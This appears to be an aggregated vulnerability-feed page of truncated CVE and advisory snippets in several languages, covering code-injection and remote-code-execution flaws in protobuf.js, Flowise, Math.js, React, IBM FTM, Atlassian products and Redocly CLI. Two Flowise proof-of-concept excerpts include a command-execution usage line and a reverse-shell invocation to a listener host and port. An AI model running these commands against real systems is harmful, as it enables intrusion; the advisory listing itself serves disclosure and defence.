CVE-2026-41242

CVE-2026-41242 — инъекция кода в protobuf.js с переходом к RCE CVSS 9.4 Critical | Инъекция кода CWE-94 Обзор protobuf.js npm: protobufjs версий ≤ 7.5.4 и ≤ 8.0.0 содержит уязвимость выполнения произвольного кода через имена типов в protobuf-схеме. Модуль @protobufjs/codegen подставляет имя типа...

CVE-2025-59528

CVE-2025-59528: Flowise CustomMCP Удаленное выполнение кода PoC Go proof of concept для CVE-2025-59528 , нацеленный на версии Flowise Пример go run main.go http://target.com h3D9jD7Xzi0V2KSrld9ff4P3rm6cuNXg1uA-wFsUYc "touch /tmp/pwned"...

CVE-2025-59528-POC

CVE-2025-59528 - Exécution de code à distance dans FlowiseAI CustomMCP CVSS 10.0 Critique | RCE aveugle | FlowiseAI Flowise = 2.2.7-patch.1 et 3.0.6 Présentation Une vulnérabilité critique d'exécution de code à distance dans le nœud CustomMCP de FlowiseAI Flowise. La fonction...

CVE-2025-59528

CVE-2025-59528 – Nœud CustomMCP de Flowise RCE PoC Aperçu Ce dépôt contient une preuve de concept démontrant CVE-2025-59528 dans Flowise v3.0.5 La vulnérabilité existe dans le nœud customMCP, où l'entrée mcpServerConfig fournie par l'utilisateur est traitée d'une manière qui conduit à l'exécution...

CVE-2025-59528.yaml

CVE-2025-59528.yaml Flowise — это интерфейс перетаскивания для создания пользовательского потока большой языковой модели. В версии 3.0.5 Flowise уязвим к удалённому выполнению кода. Узел CustomMCP позволяет пользователям вводить настройки конфигурации для подключения к внешнему MCP-серверу. Этот...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Chaîne d'exploitation pour deux vulnérabilités affectant Flowise -c "id" Reverse shell avec une clé existante : python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 Options Option| D...

CVE-2026-40897

CVE-2026-40897 Exécution de code à distance dans l'analyseur d'expressions Math.js ★ CVE-2026-40897 Exécution de code à distance dans Math.js PoC ★ https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898 Présentation CVE-2026-40897 est une vulnérabilité de contournement de...

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell CVE-2025-55182: Le bug de désérialisation qui a brisé le Web ⚡ React2Shell, CVE-2025-55182, Vulnérabilité RCE : Une analyse critique de la faille de désérialisation non sécurisée dans les React Server Components qui permet l'exécution de code à distance non authentifiée sur les...

EUVD-2026-84941

IBM Financial Transaction Manager FTM for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor...

CVE-2026-18162

IBM Financial Transaction Manager FTM for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor...

CVE-2026-18162 IBM Financial Transaction Manager (FTM) is Impacted by Multiple Vulnerabilities

IBM Financial Transaction Manager FTM for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor...

CVE-2026-18162 IBM Financial Transaction Manager (FTM) is Impacted by Multiple Vulnerabilities

IBM Financial Transaction Manager FTM for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor...

CVE-2026-18162

The IBM Financial Transaction Manager (FTM) for RedHat OpenShift is impacted by a vulnerability that could allow a remote attacker to execute arbitrary code . The root cause is the improper neutralization of user-controlled input within the new Function constructor . The vulnerability has a CRITI...

CVE-2026-18162: Improper Control of Generation of Code

IBM Financial Transaction Manager FTM for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor...

PT-2026-97099

Name of the Vulnerable Software and Affected Versions IBM Financial Transaction Manager FTM for RedHat OpenShift affected versions not specified Description Remote attackers can execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor. Thi...

Atlassian Confluence 8.9.0 < 9.2.24 / 9.3.1 < 10.2.17 (CONFSERVER-104362)

The version of Atlassian Confluence Server running on the remote host is affected by a vulnerability as referenced in the CONFSERVER-104362 advisory. - Impact: The fix for CVE-2021-23337 https://github.com/advisories/GHSA-35jh-r3h4-6jhm added validation for the variable option in .template but di...

Atlassian Jira Service Management Data Center and Server 5.15.2 < 10.3.24 / 10.4.x < 11.3.7 (JSDSERVER-16596)

The version of Atlassian Jira Service Management Data Center and Server Jira Service Desk running on the remote host is affected by a vulnerability as referenced in the JSDSERVER-16596 advisory. - Impact: The fix for CVE-2021-23337 https://github.com/advisories/GHSA-35jh-r3h4-6jhm added validatio...

CVE-2026-93985

OpenPanel js-runtime through commit bad75bdd is affected by a sandbox escape in its JavaScript webhook template validator . The validator fails to block computed member access to constructor chains, allowing attackers with project write access to craft webhook templates using computed property no...

EUVD-2026-81012

Redocly CLI makes OpenAPI validation, linting, and documentation workflows easier. Prior to version 2.33.0 of @redocly/respect-core and @redocly/cli, the respect command dynamically evaluates $faker runtime expressions in Arazzo descriptions. A crafted expression can traverse constructor,...

CVE-2026-63325: Improper Control of Generation of Code

Redocly CLI makes OpenAPI validation, linting, and documentation workflows easier. Prior to version 2.33.0 of @redocly/respect-core and @redocly/cli, the respect command dynamically evaluates $faker runtime expressions in Arazzo descriptions. A crafted expression can traverse constructor,...